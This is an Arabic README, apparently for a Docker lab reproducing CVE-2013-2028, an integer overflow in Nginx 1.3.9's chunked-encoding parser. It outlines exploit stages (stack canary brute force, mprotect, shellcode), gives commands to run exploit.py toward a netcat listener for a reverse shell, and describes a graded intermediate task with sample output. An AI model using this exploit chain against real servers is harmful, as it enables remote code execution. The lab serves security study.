مختبر قائم على Docker واستغلال بلغة Python للثغرة CVE-2013-2028، وهي تجاوز صحيح في محلّل الأجزاء المجزّأة في Nginx 1.3.9، ويغطي استرداد الكناري، وmprotect، وتنفيذ shellcode.
البرنامج المصاب: Nginx 1.3.9
الدالة المصابة: ngx_http_parse_chunked
CVE-2013-2028 هي ثغرة تجاوز سعة عدد صحيح (integer overflow) في محلل ترميز نقل HTTP المجزأ (chunked transfer encoding) في Nginx. في الظروف التي تستهدفها بيئة المختبر هذه، يمكن أن تؤدي الثغرة إلى إفساد الذاكرة ويمكن استخدامها للتأثير على مسار التحكم.
يوفر هذا المستودع بيئة معزولة قائمة على Docker لدراسة الثغرة وإعادة إنتاج سير عمل الاستغلال.
يتكون الاستغلال الكامل من أربع مراحل رئيسية:
استعادة stack canary
استعادة stack canary من خلال الفحص بايتًا بايتًا.
التلاعب بحماية الذاكرة
حساب معلومات العنوان ذات الصلة وبناء تسلسل مسار التحكم المطلوب لاستدعاء mprotect على منطقة الذاكرة المتحكم بها.
وضع shellcode
نسخ الحمولة (payload) إلى منطقة الذاكرة المتحكم بها.
نقل مسار التحكم
نقل التنفيذ إلى منطقة الذاكرة المتحكم بها.
يوضح الاستغلال الكامل التدرج من إطلاق المحلل المصاب عبر إفساد الذاكرة والتلاعب بمسار التحكم إلى تنفيذ الكود المتحكم به.
exploit.pynetcat للمستمع (listener) المستخدم في المختبر الكاملعلى نظام المضيف، ابدأ مستمعًا على المنفذ المُهيأ:
nc -lvp 4345
استخدم نفس المنفذ مع الوسيط --listenerport (-lp) عند تشغيل الاستغلال.
قم ببناء وبدء بيئة Docker:
sudo docker-compose up --build
يشغّل الهدف المصاب Nginx 1.3.9 داخل الحاوية.
يمكنك التحقق من إصدار Nginx باستخدام:
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v
شغّل:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
ينفذ الاستغلال مراحل استعادة canary وبناء الحمولة قبل إرسال الحمولة النهائية إلى الهدف المصاب.
إذا كان هناك canary مستعاد مسبقًا متاحًا، فيمكن توفيره باستخدام:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port> \
-c '<canary>'
يوفر المستودع أيضًا مهمة وسيطة لتقييم التقدم خلال سير عمل بحث الثغرة.
شغّل:
python3 intermediate_task.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
تنفذ المهمة الوسيطة فحوصاتها مباشرةً مقابل هدف Docker قيد التشغيل. وهي لا تعتمد على ملفات أدلة مُنشأة يدويًا أو تأكيدات JSON مُقدمة يدويًا.
تتحقق المهمة من مجالين:
المهمة:
المهمة:
nginx -t.يثبت فحص التهيئة أن تهيئة Nginx صحيحة نحويًا. ولا ينبغي تفسيره بحد ذاته كدليل على تخفيف CVE-2013-2028.
مثال على المخرجات:
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================
Target:
nginx running: True
nginx version: 1.3.9
vulnerable build: True
Progress:
[x] vulnerability_identified
[x] configuration_validated
All required checks completed.
Exercise complete.
تخزّن المهمة الوسيطة نتائج فحوصات وقت التشغيل هذه في:
grader_state.json
يُستخدم هذا الملف فقط للحفاظ على الحالة الناتجة عن الفحوصات. وهو ليس مصدر تحديد الثغرة.
تستخدم بيئة المختبر عمدًا Nginx 1.3.9، وهو إصدار قديم من Nginx متأثر بـ CVE-2013-2028.
توفر بيئة Docker هدفًا معزولًا لبحوث الثغرات وتمارين الاستغلال. يجب الوصول إلى الخدمة المصابة فقط عبر الواجهات المكشوفة بواسطة تهيئة المختبر.
هذا المستودع مخصص فقط للأغراض التعليمية وأغراض بحوث الأمن المصرح بها في بيئة مختبر معزولة.
لا تشغّل الاستغلال ضد أنظمة لا تملكها أو لا تملك تفويضًا صريحًا لاختبارها.